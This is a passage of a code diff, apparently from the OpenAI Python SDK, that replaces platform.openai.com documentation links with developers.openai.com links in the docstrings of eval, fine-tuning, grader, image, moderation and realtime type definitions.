dimensions: int
@@ -51,5 +51,5 @@ class EmbeddingCreateParams(TypedDict, total=False):
"""
A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source.py b/src/openai/types/evals/create_eval_completions_run_data_source.py
index 9f5ab8e58d..3d23e4c403 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source.py
@@ -194,7 +194,7 @@ class SamplingParams(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -204,7 +204,7 @@ class SamplingParams(BaseModel):
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source_param.py b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
index 27a31b2df6..bf636ef55f 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source_param.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
@@ -190,7 +190,7 @@ class SamplingParams(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -200,7 +200,7 @@ class SamplingParams(TypedDict, total=False):
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
diff --git a/src/openai/types/evals/run_cancel_response.py b/src/openai/types/evals/run_cancel_response.py
index 7b53199fcc..cd6de0faa0 100644
--- a/src/openai/types/evals/run_cancel_response.py
+++ b/src/openai/types/evals/run_cancel_response.py
@@ -109,7 +109,7 @@ class DataSourceResponsesSourceResponses(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -238,8 +238,8 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: Optional[ResponseFormatTextConfig] = None
@@ -247,7 +247,7 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
@@ -270,7 +270,7 @@ class DataSourceResponsesSamplingParams(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -285,8 +285,8 @@ class DataSourceResponsesSamplingParams(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tools: Optional[List[Tool]] = None
@@ -298,13 +298,14 @@ class DataSourceResponsesSamplingParams(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
top_p: Optional[float] = None
diff --git a/src/openai/types/evals/run_create_params.py b/src/openai/types/evals/run_create_params.py
index 332a921356..9e701d4c04 100644
--- a/src/openai/types/evals/run_create_params.py
+++ b/src/openai/types/evals/run_create_params.py
@@ -122,7 +122,7 @@ class DataSourceCreateEvalResponsesRunDataSourceSourceResponses(TypedDict, total
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -256,8 +256,8 @@ class DataSourceCreateEvalResponsesRunDataSourceSamplingParamsText(TypedDict, to
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: ResponseFormatTextConfigParam
@@ -265,7 +265,7 @@ class DataSourceCreateEvalResponsesRunDataSourceSamplingParamsText(TypedDict, to
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
@@ -288,7 +288,7 @@ class DataSourceCreateEvalResponsesRunDataSourceSamplingParams(TypedDict, total=
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -303,8 +303,8 @@ class DataSourceCreateEvalResponsesRunDataSourceSamplingParams(TypedDict, total=
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tools: Iterable[ToolParam]
@@ -316,13 +316,14 @@ class DataSourceCreateEvalResponsesRunDataSourceSamplingParams(TypedDict, total=
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
top_p: float
diff --git a/src/openai/types/evals/run_create_response.py b/src/openai/types/evals/run_create_response.py
index 92ace4f019..1eb63489e0 100644
--- a/src/openai/types/evals/run_create_response.py
+++ b/src/openai/types/evals/run_create_response.py
@@ -109,7 +109,7 @@ class DataSourceResponsesSourceResponses(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -238,8 +238,8 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: Optional[ResponseFormatTextConfig] = None
@@ -247,7 +247,7 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
@@ -270,7 +270,7 @@ class DataSourceResponsesSamplingParams(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -285,8 +285,8 @@ class DataSourceResponsesSamplingParams(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tools: Optional[List[Tool]] = None
@@ -298,13 +298,14 @@ class DataSourceResponsesSamplingParams(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
top_p: Optional[float] = None
diff --git a/src/openai/types/evals/run_list_response.py b/src/openai/types/evals/run_list_response.py
index acdc52d8c0..1185ab40d5 100644
--- a/src/openai/types/evals/run_list_response.py
+++ b/src/openai/types/evals/run_list_response.py
@@ -109,7 +109,7 @@ class DataSourceResponsesSourceResponses(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -238,8 +238,8 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: Optional[ResponseFormatTextConfig] = None
@@ -247,7 +247,7 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
@@ -270,7 +270,7 @@ class DataSourceResponsesSamplingParams(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -285,8 +285,8 @@ class DataSourceResponsesSamplingParams(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tools: Optional[List[Tool]] = None
@@ -298,13 +298,14 @@ class DataSourceResponsesSamplingParams(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
top_p: Optional[float] = None
diff --git a/src/openai/types/evals/run_retrieve_response.py b/src/openai/types/evals/run_retrieve_response.py
index 1faf08d8db..c35695fe41 100644
--- a/src/openai/types/evals/run_retrieve_response.py
+++ b/src/openai/types/evals/run_retrieve_response.py
@@ -109,7 +109,7 @@ class DataSourceResponsesSourceResponses(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -238,8 +238,8 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: Optional[ResponseFormatTextConfig] = None
@@ -247,7 +247,7 @@ class DataSourceResponsesSamplingParamsText(BaseModel):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
@@ -270,7 +270,7 @@ class DataSourceResponsesSamplingParams(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -285,8 +285,8 @@ class DataSourceResponsesSamplingParams(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tools: Optional[List[Tool]] = None
@@ -298,13 +298,14 @@ class DataSourceResponsesSamplingParams(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
top_p: Optional[float] = None
diff --git a/src/openai/types/fine_tuning/alpha/grader_run_params.py b/src/openai/types/fine_tuning/alpha/grader_run_params.py
index 35e7029d45..1919962444 100644
--- a/src/openai/types/fine_tuning/alpha/grader_run_params.py
+++ b/src/openai/types/fine_tuning/alpha/grader_run_params.py
@@ -22,16 +22,17 @@ class GraderRunParams(TypedDict, total=False):
"""The model sample to be evaluated.
This value will be used to populate the `sample` namespace. See
- [the guide](https://platform.openai.com/docs/guides/graders) for more details.
- The `output_json` variable will be populated if the model sample is a valid JSON
- string.
+ [the guide](https://developers.openai.com/api/docs/guides/graders) for more
+ details. The `output_json` variable will be populated if the model sample is a
+ valid JSON string.
"""
item: object
"""The dataset item provided to the grader.
This will be used to populate the `item` namespace. See
- [the guide](https://platform.openai.com/docs/guides/graders) for more details.
+ [the guide](https://developers.openai.com/api/docs/guides/graders) for more
+ details.
"""
diff --git a/src/openai/types/fine_tuning/fine_tuning_job.py b/src/openai/types/fine_tuning/fine_tuning_job.py
index dae7e971bc..daf589049c 100644
--- a/src/openai/types/fine_tuning/fine_tuning_job.py
+++ b/src/openai/types/fine_tuning/fine_tuning_job.py
@@ -121,7 +121,7 @@ class FineTuningJob(BaseModel):
"""The compiled results file ID(s) for the fine-tuning job.
You can retrieve the results with the
- [Files API](https://platform.openai.com/docs/api-reference/files/retrieve-contents).
+ [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
"""
seed: int
@@ -143,14 +143,14 @@ class FineTuningJob(BaseModel):
"""The file ID used for training.
You can retrieve the training data with the
- [Files API](https://platform.openai.com/docs/api-reference/files/retrieve-contents).
+ [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
"""
validation_file: Optional[str] = None
"""The file ID used for validation.
You can retrieve the validation results with the
- [Files API](https://platform.openai.com/docs/api-reference/files/retrieve-contents).
+ [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
"""
estimated_finish: Optional[int] = None
diff --git a/src/openai/types/fine_tuning/job_create_params.py b/src/openai/types/fine_tuning/job_create_params.py
index 4987fe6796..d8e08560da 100644
--- a/src/openai/types/fine_tuning/job_create_params.py
+++ b/src/openai/types/fine_tuning/job_create_params.py
@@ -19,27 +19,28 @@ class JobCreateParams(TypedDict, total=False):
"""The name of the model to fine-tune.
You can select one of the
- [supported models](https://platform.openai.com/docs/guides/fine-tuning#which-models-can-be-fine-tuned).
+ [supported models](https://developers.openai.com/api/docs/guides/model-optimization#fine-tuning-methods).
"""
training_file: Required[str]
"""The ID of an uploaded file that contains training data.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create)
+ See
+ [upload file](https://developers.openai.com/api/reference/resources/files/methods/create)
for how to upload a file.
Your dataset must be formatted as a JSONL file. Additionally, you must upload
your file with the purpose `fine-tune`.
The contents of the file should differ depending on if the model uses the
- [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input),
- [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input)
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data),
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data)
format, or if the fine-tuning method uses the
- [preference](https://platform.openai.com/docs/api-reference/fine-tuning/preference-input)
+ [preference](https://developers.openai.com/api/docs/guides/direct-preference-optimization)
format.
See the
- [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization)
+ [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization)
for more details.
"""
@@ -94,7 +95,7 @@ class JobCreateParams(TypedDict, total=False):
the purpose `fine-tune`.
See the
- [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization)
+ [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization)
for more details.
"""
diff --git a/src/openai/types/graders/score_model_grader.py b/src/openai/types/graders/score_model_grader.py
index b243fc644f..419427d8bd 100644
--- a/src/openai/types/graders/score_model_grader.py
+++ b/src/openai/types/graders/score_model_grader.py
@@ -89,7 +89,7 @@ class SamplingParams(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
diff --git a/src/openai/types/graders/score_model_grader_param.py b/src/openai/types/graders/score_model_grader_param.py
index b325bd221e..78b797f69e 100644
--- a/src/openai/types/graders/score_model_grader_param.py
+++ b/src/openai/types/graders/score_model_grader_param.py
@@ -95,7 +95,7 @@ class SamplingParams(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
diff --git a/src/openai/types/image_create_variation_params.py b/src/openai/types/image_create_variation_params.py
index c0634658a3..a33840d2c6 100644
--- a/src/openai/types/image_create_variation_params.py
+++ b/src/openai/types/image_create_variation_params.py
@@ -44,5 +44,5 @@ class ImageCreateVariationParams(TypedDict, total=False):
"""
A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/image_edit_params.py b/src/openai/types/image_edit_params.py
index e8420fc590..ea8e318657 100644
--- a/src/openai/types/image_edit_params.py
+++ b/src/openai/types/image_edit_params.py
@@ -139,7 +139,7 @@ class ImageEditParamsBase(TypedDict, total=False):
"""
A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
@@ -148,7 +148,7 @@ class ImageEditParamsNonStreaming(ImageEditParamsBase, total=False):
"""Edit the image in streaming mode.
Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
"""
@@ -158,7 +158,7 @@ class ImageEditParamsStreaming(ImageEditParamsBase):
"""Edit the image in streaming mode.
Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information.
"""
diff --git a/src/openai/types/image_generate_params.py b/src/openai/types/image_generate_params.py
index 9a87bc87da..339276d2c8 100644
--- a/src/openai/types/image_generate_params.py
+++ b/src/openai/types/image_generate_params.py
@@ -135,7 +135,7 @@ class ImageGenerateParamsBase(TypedDict, total=False):
"""
A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
@@ -144,7 +144,7 @@ class ImageGenerateParamsNonStreaming(ImageGenerateParamsBase, total=False):
"""Generate the image in streaming mode.
Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
"""
@@ -154,7 +154,7 @@ class ImageGenerateParamsStreaming(ImageGenerateParamsBase):
"""Generate the image in streaming mode.
Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
"""
diff --git a/src/openai/types/moderation_create_params.py b/src/openai/types/moderation_create_params.py
index aecb004228..724148fedb 100644
--- a/src/openai/types/moderation_create_params.py
+++ b/src/openai/types/moderation_create_params.py
@@ -24,7 +24,7 @@ class ModerationCreateParams(TypedDict, total=False):
"""The content moderation model you would like to use.
Learn more in
- [the moderation guide](https://platform.openai.com/docs/guides/moderation), and
- learn about available models
- [here](https://platform.openai.com/docs/models#moderation).
+ [the moderation guide](https://developers.openai.com/api/docs/guides/moderation),
+ and learn about available models
+ [here](https://developers.openai.com/api/docs/guides/moderation).
"""
diff --git a/src/openai/types/realtime/audio_transcription.py b/src/openai/types/realtime/audio_transcription.py
index 9eafc30113..65c789da80 100644
--- a/src/openai/types/realtime/audio_transcription.py
+++ b/src/openai/types/realtime/audio_transcription.py
@@ -63,7 +63,7 @@ class AudioTranscription(BaseModel):
"""
An optional text to guide the model's style or continue a previous audio
segment. For `whisper-1`, the
- [prompt is a list of keywords](https://platform.openai.com/docs/guides/speech-to-text#prompting).
+ [prompt is a list of keywords](https://developers.openai.com/api/docs/guides/speech-to-text#prompting).
For `gpt-4o-transcribe` models (excluding `gpt-4o-transcribe-diarize`), the
prompt is a free text string, for example "expect words related to technology".
Prompt is not supported with `gpt-realtime-whisper` in GA Realtime sessions.
diff --git a/src/openai/types/realtime/audio_transcription_param.py b/src/openai/types/realtime/audio_transcription_param.py
index a70ee134bd..d8b282fbee 100644
--- a/src/openai/types/realtime/audio_transcription_param.py
+++ b/src/openai/types/realtime/audio_transcription_param.py
@@ -64,7 +64,7 @@ class AudioTranscriptionParam(TypedDict, total=False):
"""
An optional text to guide the model's style or continue a previous audio
segment. For `whisper-1`, the
- [prompt is a list of keywords](https://platform.openai.com/docs/guides/speech-to-text#prompting).
+ [prompt is a list of keywords](https://developers.openai.com/api/docs/guides/speech-to-text#prompting).
For `gpt-4o-transcribe` models (excluding `gpt-4o-transcribe-diarize`), the
prompt is a free text string, for example "expect words related to technology".
Prompt is not supported with `gpt-realtime-whisper` in GA Realtime sessions.
diff --git a/src/openai/types/realtime/call_accept_params.py b/src/openai/types/realtime/call_accept_params.py
index d6b34fc3ce..3e681ac0d4 100644
--- a/src/openai/types/realtime/call_accept_params.py
+++ b/src/openai/types/realtime/call_accept_params.py
@@ -96,7 +96,7 @@ class CallAcceptParams(TypedDict, total=False):
prompt: Optional[ResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
reasoning: RealtimeReasoningParam
diff --git a/src/openai/types/realtime/output_audio_buffer_clear_event.py b/src/openai/types/realtime/output_audio_buffer_clear_event.py
index dcaf44d512..5190d1a46f 100644
--- a/src/openai/types/realtime/output_audio_buffer_clear_event.py
+++ b/src/openai/types/realtime/output_audio_buffer_clear_event.py
@@ -15,7 +15,7 @@ class OutputAudioBufferClearEvent(BaseModel):
stop generating audio and emit a `output_audio_buffer.cleared` event. This
event should be preceded by a `response.cancel` client event to stop the
generation of the current response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
type: Literal["output_audio_buffer.clear"]
diff --git a/src/openai/types/realtime/output_audio_buffer_clear_event_param.py b/src/openai/types/realtime/output_audio_buffer_clear_event_param.py
index 2d4ade99b0..5bad1df39d 100644
--- a/src/openai/types/realtime/output_audio_buffer_clear_event_param.py
+++ b/src/openai/types/realtime/output_audio_buffer_clear_event_param.py
@@ -14,7 +14,7 @@ class OutputAudioBufferClearEventParam(TypedDict, total=False):
stop generating audio and emit a `output_audio_buffer.cleared` event. This
event should be preceded by a `response.cancel` client event to stop the
generation of the current response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
type: Required[Literal["output_audio_buffer.clear"]]
diff --git a/src/openai/types/realtime/realtime_audio_config_input.py b/src/openai/types/realtime/realtime_audio_config_input.py
index 5d9ce958d1..1c11fef2b2 100644
--- a/src/openai/types/realtime/realtime_audio_config_input.py
+++ b/src/openai/types/realtime/realtime_audio_config_input.py
@@ -46,7 +46,7 @@ class RealtimeAudioConfigInput(BaseModel):
`null` to turn off once on. Input audio transcription is not native to the
